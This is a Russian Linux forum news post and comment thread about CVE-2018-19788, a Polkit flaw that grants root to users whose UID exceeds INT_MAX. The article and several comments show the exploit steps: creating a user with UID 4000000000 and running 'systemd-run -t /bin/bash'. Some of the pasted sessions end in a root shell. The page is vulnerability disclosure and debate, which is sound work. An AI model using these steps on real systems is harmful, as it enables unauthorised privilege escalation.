LINUX.ORG.RU

Обнаружена уязвимость в Polkit, которая позволяет выполнять любую команду systemctl пользователю с низкими привилегиями

 , , ,


1

2

Уязвимость CVE-2018-19788 присутствует на большинстве операционных систем GNU/Linux и позволяет пользователю, чей UID превышает 2147483647, выполнить любую команду systemctl, равно как и получить root-права.

Проблема существует из-за ошибки в библиотеке Polkit (другое название PolicyKit), заключающейся в неправильной проверки запросов от пользователей с UID > INT_MAX. Где INT_MAX это константа определяющая максимальное значение переменной типа int, равняющаяся 0x7FFFFFFF в шестнадцатеричной или 2147483647 в десятичной системе счисления.

Исследователь по безопасности Rich Mirch (аккаунт в Twitter 0xm1rch) представил успешно работающий эксплоит, демонстрирущий данную уязвимость. Для его корректной работы требуется наличие пользователя с идентификатором 4000000000.

В Twitter'е предлагают гораздо более простой способ получения root-прав:

systemd-run -t /bin/bash

Компания Red Hat рекомендует системным администраторам не создавать аккаунты с отрицательными значениями UID или UID превышающими 2147483647 до тех пор, пока не будет выпущен патч, исправляющий уязвимость.

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Последнее исправление: ls-h (всего исправлений: 5)

Ответ на: комментарий от alpha

которым приходится отбиваться от толпы фанатов

От толпы секурити-фанатиков. Пофиксил, не благодари :-)

Twissel ★★★★★
()
Последнее исправление: Twissel (всего исправлений: 1)
Ответ на: комментарий от alpha

нет, просто мы вашего поттеринга не просили все это делать. кто-то может и просил, но не мы. мы работали с тем, что было, до того, как ты на лоре зарегилась. мы не просили, чтобы нам дали новый софт, который сломает половину традиций и будет при этом вот так написан. да, хороший программер все-таки думает, что будет если...

crypt ★★★★★
()
Ответ на: комментарий от alpha

alpha, я с софтом имею дело достаточно давно, чтобы видеть, какой софт как написан. ты же, прости, готова сервера на федоре держать. но тебе платят за производства ПО, а мне за то, чтобы «все работало». сделай выводы о нашей с тобой компетенции.

crypt ★★★★★
()
Последнее исправление: crypt (всего исправлений: 1)
Ответ на: комментарий от crypt

сделай выводы о нашей с тобой компетенции

Да я сделала уже, спасибо.

alpha ★★★★★
()

pet ~ # useradd --uid 4000000000 vpupkin
pet ~ # su - vpupkin
vpupkin@pet ~ $ systemd-run -t /bin/bash
Failed to start transient service unit: Access denied

Диалог с запросом пароля рута был.

Вопрос остался прежний. При чём здесь systemd?

imul ★★★★★
()

Polkit
выполнить любую команду systemctl, равно как и получить root-права.

Я давно твердил, что решето.

Odalist ★★★★★
()

присутствует на большинстве операционных систем GNU/Linux и позволяет пользователю, чей UID превышает 2147483647, выполнить любую команду systemctl, равно как и получить root-права.

Так было задумано Леней с самого начала. А сколько уязвимостей мы еще не знаем...

Odalist ★★★★★
()
Ответ на: комментарий от ArkaDOSik

Ждём счастливых пользователей Devuan, нашедших еще одно подтверждение ненужности СистемДэ

Это давно было известно.

Odalist ★★★★★
()
Ответ на: комментарий от anonymous

Polkit у них такой же, как у нормальных людей.

Мой юный анонимный друг. Ты забыл про systemd...

Odalist ★★★★★
()
Ответ на: комментарий от crypt

+1, того же мнения. Поттеринг с правами на коммит - это обезъяна с гранатой. Перед этим у него была такого же типа проблема при парсинге юнит-файлов.

Я, конечно, сильно извиняюсь, но при чём здесь вообще systemd, если дыра в polkit? Ведь любое другое приложение, использующее polkit (тысячи их), подвержено точно такой же проблеме?

Это как была бы уязвимость в ядре, позволяющая проэксплуатировать её в том числе и через какой-нибудь systemd-сервис, - и на этом основании утверждать, что это systemd решето, а не ядро.

anonymous
()
Ответ на: комментарий от crypt

Да, спасибо за иллюстрацию. Шаман всё правильно сделал.

Aceler ★★★★★
()

на свежем арче работает

[usertest@archik]$ systemd-run -t /bin/bash

(pkttyagent:909): GLib-GObject-WARNING **: 18:29:24.344: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u56.service
Press ^] three times within 1s to disconnect TTY.
[root@archik /]# 
liberty1
()
Ответ на: комментарий от Deleted

Почему-то мне кажется, что для этого в этом домене должно быть зарегистрирована половина населения Земли. Или, если диапазон UID задается при конфигурировании, должно быть указано начало диапазона больше INT_MAX.

tailgunner ★★★★★
()
Ответ на: комментарий от tailgunner

Это, возможно, так, но такая ошибка всё равно означает, что systemd - дырявое говно. Теперь у меня есть реальная причина выпилить его со своей системы. Гораздо лучше было бы, если бы Polkit просто падал, а не продолжал работу, разрешая доступ.

balsoft ★★
()
Ответ на: комментарий от tailgunner

Нет, там по дефолту вроде такие ID. Вот просто нет доменной машины под рукой, к сожалению. Просто давно баловался и там UID и GID были длинными. Очень. Цифр по 10, мне кажется.

Deleted
()
Ответ на: комментарий от balsoft

такая ошибка всё равно означает, что systemd - дырявое говно

systemd, конечно, говно, но эта ошибка - в polkit. А systemd - просто вектор атаки.

tailgunner ★★★★★
()

polkit? Я эту срань вырезал (как и consolekit) примерно с 2010 года, ибо ноктельнадо 150 лишних процессов в htop, если и без этого всё, подчёркиваю, всё — отлично работает.

Bruce_Lee ★★
()
Последнее исправление: Bruce_Lee (всего исправлений: 1)

Как проверить этот полукит без сустемd?

anonymous
()
Ответ на: комментарий от alpha

Вместо сотрудничества для исправления проблем, получается токсичная атмосфера, где security-баги просто опасно обсуждать вслух, потому что тут же прибегает толпа, которая не способна соображать, но желает зрелищ и затопчет любого за просто так не задумываясь.

Много эмоций, мало смысла. Какая толпа куда прибежит? В багтрекер? Ну так напиши, что закрыли. И все разбегутся.

P.S. Но вообще, в 2k18 софт, который отвечает за аутентификацию, так вести себя не должен.

kirk_johnson ★☆
()
Ответ на: комментарий от balsoft

app-emulation/virt-manager:policykit - Enables sys-auth/polkit authentication support, required when using app-emulation/libvirt with PolicyKit authentication
net-firewall/ufw-frontends:policykit - Use pkexec to gain root privileges
net-misc/spice-gtk:policykit - Enable sys-auth/polkit support for the usbredir acl helper
sys-apps/pcsc-lite:policykit - Uses sys-auth/polkit to restrict access to smartcard readers or smartcars to given users.
sys-auth/consolekit:policykit - Use the PolicyKit framework (sys-auth/polkit) to get authorization for suspend/shutdown.

imul ★★★★★
()
Ответ на: комментарий от balsoft

polkit был сделан до systemd, так что его наверняка можно. Думаю, systemd - тоже. Но какое это отношение имеет к тому, где баг? Если через systemd будет эксплуатироваться баг в libc, ты тоже скажешь, что systemd - дырявое говно?

tailgunner ★★★★★
()
Ответ на: комментарий от balsoft

А разве можно завести PolKit без SystemD или наоборот?

Эта срань (я сейчас про polkit) даже на другие операционки прошмыгнула.

anonymous
()
Ответ на: комментарий от alpha

Просто очень хочется кушать. Ну и данный конкретный случай из иной оперы

vasily_pupkin ★★★★★
()
Ответ на: комментарий от balsoft

Появляется диалог ввода пароля рута. Пароль не вводится.
mike@pet ~ $ pkexec
Error executing command as another user: Not authorized

This incident has been reported.

Появляется диалог ввода пароля рута. Пароль вводится правильный.
mike@pet ~ $ pkexec
pet ~ #

Диалог даже не появляется
vpupkin@pet ~ $ pkexec
**
ERROR:pkexec.c:749:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Аварийный останов

vpupkin@pet ~ $ id
uid=4000000000(vpupkin) gid=1002(vpupkin) группы=1002(vpupkin) контекст=staff_u:staff_r:staff_t

Третий раз спрашиваю. При чём здесь systemd?

imul ★★★★★
()
Ответ на: комментарий от ne-vlezay

Это нормальное поведение. Уязвимости нет. Хотя если ты пароль не ввёл, а рута получил, то есть.

imul ★★★★★
()

fedora29

$ sudo useradd --uid 4000000000 lolka
$ sudo su -l lolka
$ systemd-run -t /bin/bash

(pkttyagent:27694): GLib-GObject-WARNING **: 16:01:30.091: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u8120.service
Press ^] three times within 1s to disconnect TTY.
# exit
exit

Novell-ch ★★★★★
()

в неправильной проверки запросов от пользователей с UID > INT_MAX.

Стесняюсь спросить, что надо сделать с линуксом, чтобы там появилось больше 2147483647 UID'ов?

ncrmnt ★★★★★
()

Бедные системд-хейтеры. В нем настолько мало дыр, что приходится перебиваться даже таким.

goingUp ★★★★★
()
Ответ на: комментарий от imul

При том, что у неадекватов везде виноват системд и лично этот проклятый Поцтеринг с красношапкой.

Unicode4all ★★★★★
()
Ответ на: комментарий от alpha

Это само собой.
Ещё стало жутко интересно, какой был временной интервал перед полным раскрытием уязвимости.

imul ★★★★★
()
Ответ на: комментарий от imul
$ pkexec

(process:31282): GLib-GObject-WARNING **: 16:16:06.257: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkexec.c:749:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Aborted

так рута не получил

Novell-ch ★★★★★
()

Не совсем понятно, а где в редхате предполагается создание юзеров с отрицательными уидами или уидом в 4000000000?

Даже winbind такие диапазоны не использует имхо.

AVL2 ★★★★★
()
Ответ на: комментарий от imul

Я про то, что в каком (типичном) сценарии потребуется uid с таким номером? И как это часто встречается в дикой природе?

ncrmnt ★★★★★
()

Уберите debian из новости, или исправьте на «debian experimental», не позорьтесь.

inkvizitor68sl
()

На CentOS 7 работает, прикольно.

[me@host~]$ sudo useradd -u 4000000000 vodka
[@@host~]$ sudo su - vodka
[vodka@host~]$ systemd-run -t /bin/bash
Running as unit run-22289.service.
Press ^] three times within 1s to disconnect TTY.
[root@host/]# nano /etc/hosts
[root@host/]# exit

iljuase ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.